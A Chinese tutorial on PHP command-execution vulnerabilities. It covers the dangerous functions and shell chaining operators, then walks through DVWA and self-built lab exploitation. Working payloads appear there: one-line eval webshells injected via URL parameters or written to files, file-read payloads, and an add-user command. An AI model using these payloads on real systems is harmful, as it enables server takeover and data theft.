命令执行
定义
基本定义
用户输入的数据会被当做系统命令执行。分为远程命令执行(远程代码执行)和系统命令执行两类。
原理
程序应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击。
条件
- 用户能够控制的函数输入
- 存在可以执行代码或者系统命令的危险函数
成因
- 由于开发人员编写源码时,没有针对代码中可执行的特殊函数入口做过滤,导致客户端可以提交恶意构造语句,并提交服务端执行。
- 命令注入攻击中,web服务器没有过滤类似system、eval和exec等函数,是该漏洞成功的主要原因。
危害
- 继承web服务程序的权限去执行系统命令或读写文件
- 反弹shell
- 控制整个网站甚至控制服务器
- 进一步内网渗透
函数解析
说明:
通过命令执行,有时候并不需要返回结果,进行显示,有时候我们上传了一个存在木马病毒的文件,然后通过命令执行,执行了恶意文件,那么此时木马就会开始运行,就可以起到一个破坏的作用,有显示只不过是更加直观的可以观察到确实执行成功了,并且可以获取一些用户信息。
系统命令执行函数
system()函数
作用
- 执行命令输出结果
演示1
<?php system('whoami');?>
执行结果
演示2
<?php system('ipconfig');?>
执行结果
exec() 函数
作用
- 只会得到结果最后一行(直接使用此函数没有输出)
演示1
<?php exec('whoami');?>
执行结果——没有输出
演示2
<?php echo exec('whoami');?>
演示3
<?php echo exec('ipconfig');?>
执行结果——只得到最后一行结果
shell_exec() 函数
作用
- 只会得到结果的全部(没有输出)
演示1
<?php shell_exec('ipconfig');?>
演示2
<?php echo shell_exec('ipconfig');?>
``(反引号)的结果与shell_exec()函数是一样的
#以下两条命令结果是一样的
<?php echo `ipconfig`;?>
<?php echo shell_exec('ipconfig');?>
当shell_exec()函数被禁用了,``也是无效的
当shell_exec()函数被过滤了,可以使用``进行代替
passthru()函数
作用
- 执行命令输出结果
演示1
<?php passthru('ipconfig');?>
popen()函数
作用
- 打开进程文件指针
语法
popen(command,mode)
参数 | 描述 |
---|---|
command | 必需。规定要执行的命令。 |
mode | 必需。规定连接模式。可能的值:r: 只读。w: 只写 (打开并清空已有文件或创建一个新文件) |
演示1
单纯的使用popen只能获取文件指针,我们必须配合别的函数来读取指针,然后再将读取后的内容显示出来,所以与fread配合使用。
fread函数的作用
fread() 从文件指针 file 读取最多 length 个字节。函数会在到达指定长度或读到文件末尾(EOF)时(以先到者为准),停止运行。
#fread语法
fread(file,length)
参数 | 描述 |
---|---|
file | 必需。规定要读取打开文件。 |
length | 必需。规定要读取的最大字节数。 |
<?php echo fread(popen('ipconfig','r'),4096);?>
执行结果——只输出第一行
远程命令执行函数
eval()函数
作用
- 把字符串按照 PHP 代码来计算
演示1
<?php
$var = 'var';
if(isset($_GET['arg'])){
$arg = $_GET['arg'];
eval("\$var = $arg;"); #“\”的作用是让它识别成字符,不识别成变量
echo "\$var =".$var;
}
?>
assert()函数
作用
- 判断一个表达式是否成立,返回true or false。
语法
assert ( mixed $assertion [, Throwable $exception ] ):bool
assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的行动。
如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。 assertion 是字符串的优势是当禁用断言时它的开销会更小,并且在断言失败时消息会包含 assertion 表达式。 这意味着如果你传入了 boolean 的条件作为 assertion,这个条件将不会显示为断言函数的参数;在调用你定义的 assert_options() 处理函数时,条件会转换为字符串,而布尔值 FALSE 会被转换成空字符串。
断言这个功能应该只被用来调试。 你应该用于完整性检查时测试条件是否始终应该为 TRUE,来指示某些程序错误,或者检查具体功能的存在(类似扩展函数或特定的系统限制和功能)。
演示1
<?php
$var = 'var';
if(isset($_GET['arg'])){
$arg = $_GET['arg'];
assert("\$var = $arg;");
echo "\$var =".$var;
}
?>
preg_replace()函数
作用
- 执行一个正则表达式的搜索和替换
语法
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。
参数说明:
- $pattern: 要搜索的模式,可以是字符串或一个字符串数组。
- $replacement: 用于替换的字符串或字符串数组。
- $subject: 要搜索替换的目标字符串或字符串数组。
- $limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
- $count: 可选,为替换执行的次数。
演示1
<?php
$var = 'var';
if(isset($_GET['arg'])){
$arg = $_GET['arg'];
preg_replace("/(.*)/e",'\\1',$arg);
}
?>
call_user_func()函数
作用
- 把一个参数作为回调函数调用
语法
call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] ) : mixed
参数说明:
- 第一个参数$callback作为回调函数,其它参数都是回调函数的参数。
- $parameter:传入回调$callback函数的参数,这里的参数注意不能引用传递。
演示1
<?php
if(isset($_GET['a'])){
call_user_func($_GET['a'],$_GET['b']);
}
?>
管道符号
windows
& 前面的语句为假则直接执行后面的
&& 前面的语句为假则直接出错,后面的也不执行
| 直接执行后面的语句
|| 前面出错执行后面的
&
#前后都为真——都执行
C:\Users\Administrator>echo 1 & echo 2
1
2
#前假后真——前报错,后执行
C:\Users\Administrator>cat lala & echo 2
'cat' 不是内部或外部命令,也不是可运行的程序
或批处理文件。
2
#前真后假——前执行,后报错
C:\Users\Administrator>echo 1 & cat 2
1
'cat' 不是内部或外部命令,也不是可运行的程序
或批处理文件。
&&
#前后都为真——都执行
C:\Users\44880>echo 1 && echo 2
1
2
#前假后真——都不执行
C:\Users\44880>cat 1 && echo 2
'cat' 不是内部或外部命令,也不是可运行的程序
或批处理文件。
#前真后假——前执行,后报错
C:\Users\44880>echo 1 && cat 2
1
'cat' 不是内部或外部命令,也不是可运行的程序
或批处理文件。
|
#前后都为真——执行后面的
C:\Users\44880>echo 1 | echo 2
2
#前假后真——都不执行
C:\Users\44880>cat 1 | echo 2
'cat' 不是内部或外部命令,也不是可运行的程序
或批处理文件。
#前真后假——都不执行
C:\Users\44880>echo 1 | cat 2
'cat' 不是内部或外部命令,也不是可运行的程序
或批处理文件。
||
#前后都为真——执行前面的
C:\Users\44880>echo 1 || echo 2
1
#前假后真——前报错,后执行
C:\Users\44880>cat 1 || echo 2
'cat' 不是内部或外部命令,也不是可运行的程序
或批处理文件。
2
#前真后假——执行前面的
C:\Users\44880>echo 1 || cat 2
1
Linux
; 前面的执行完执行后面的
| 是管道符,显示后面的执行结果
|| 当前面的执行出错时执行后面的
;
#前后都为真——都执行
┌──(root㉿kali)-[~]
└─# echo 1 ; echo 2
1
2
#前假后真——前报错,后执行
┌──(root㉿kali)-[~]
└─# cat 1 ; echo 2
cat: 1: 没有那个文件或目录
2
#前真后假——前执行,后报错
┌──(root㉿kali)-[~]
└─# echo 1 ; cat 2
1
cat: 2: 没有那个文件或目录
|
#前后都为真——执行后面的
┌──(root㉿kali)-[~]
└─# echo 1 | echo 2
2
#前假后真——后执行,钱报错
┌──(root㉿kali)-[~]
└─# cat 1 | echo 2
2
cat: 1: 没有那个文件或目录
#前真后假——都不执行
┌──(root㉿kali)-[~]
└─# echo 1 | cat 2
cat: 2: 没有那个文件或目录
||
#前后都为真——执行前面的
┌──(root㉿kali)-[~]
└─# echo 1 || echo 2
1
#前假后真——前报错,后执行
┌──(root㉿kali)-[~]
└─# cat 1 || echo 2
cat: 1: 没有那个文件或目录
2
#前真后假——执行前面的
┌──(root㉿kali)-[~]
└─# echo 1 || cat 2
1
windows中的命令
netstat -ano #查看端口
tasklist #查看进程
ipconfig #查看ip
type #查看文件内容
kill #杀死进程的
arp -a #探测路由表
whoami #查看当前权限
shutdown #关机 (关闭杀软服务,然后重启主机)
systeminfo #查看系统状态
net user #查看用户
net user a abc123 /add #添加用户
PHP中的魔术常量
探测到网站存在远程命令执行漏洞,可以利用PHP魔术常量获取相关信息。
PHP 向它运行的任何脚本提供了大量的预定义常量。不过很多常量都是由不同的扩展库定义的,只有在加载了这些扩展库时才会出现,或者动态加载后,或者在编译时已经包括进去了。有八个魔术常量它们的值随着它们在代码中的位置改变而改变。
__LINE__ #文件中的当前行号
__FILE__ #文件的完整路径和文件名。如果用在被包含文件中,则返回被包含的文件名
__DIR__ #文件所在的目录。如果用在被包括文件中,则返回被包括的文件所在的目录
__FUNCTION__ #该常量所在的函数名称(PHP 4.3.0 新加)。自PHP5起本常量返回该函数被定义时的名字(区分大小写)。在PHP4中该值总是小写字母的
__CLASS__ #该类被定义时的名字(PHP 4.3.0 新加)。自PHP5起本常量返回该类被定义时的名字(区分大小写)
__TRAIT__ #Trait的名字(PHP 5.4.0 新加)。自PHP5.4.0起,PHP实现了代码复用的一个方法,称为traits
__METHOD__ #类的方法名(PHP 5.0.0 新加)。返回该方法被定义时的名字(区分大小写)
__NAMESPACE__ #当前命名空间的名称(区分大小写)。此常量是在编译时定义的(PHP 5.3.0 新增)
常见命令执行场景
- ping主机
- DNS请求
- office文档
- 框架缺陷
实战靶场
远程命令执行一句话木马
在URL后面拼接一句话木马的内容
?arg=@eval($_REQUEST[123])
虽然有提示信息,但是不影响命令的执行
通过菜刀进行连接
远程命令利用魔术常量获取信息
远程命令读取文件内容
var_dump() 函数用于输出变量的相关信息。
file_get_contents() 函数把整个文件读入一个字符串中。
在URL后面拼接读取文件内容的命令
?arg=var_dump(file_get_contents('C:\Windows\System32\drivers\etc\hosts'))
远程命令插入木马文件
在URL后面拼接插入木马文件的命令
?arg=fputs(fopen("lala.php",'w'),'<?php @eval($_REQUEST[120]);?>')
写入文件没有提示信息
通过菜刀进行连接
系统命令查看敏感文件
windows操作系统中可以通过type命令查看文件内容
在URL后面插入查看文件内容语句
?sys=type C:\Windows\System32\drivers\etc\hosts
系统命令一句话木马
DVWA靶场
输入内容查看返回结果
就是一个很常规的ping测试
通过BURP抓包,然后修改post传参的内容,创建一句话木马文件
使用菜刀尝试连接
成功连接
关于中文乱码解决方案
1. 到DVWA安装目录下(.../WWW/DVWA-master/dvwa/includes)寻找文件dvwaPage.inc.php
2. 打开这个文件,然后在全文查找charset=utf-8,将所有utf-8修改为gb2312。
注意:有好几处charset=utf-8,要全部修改成charset=gb2312。记得保存。
3. 接下来再使用DVWA就不会乱码啦。
自建靶场
在URL后面插入创建一句话木马文件的命令
?sys=echo "<?php @eval($_REQUEST[123])?>" > lala.php
菜刀连接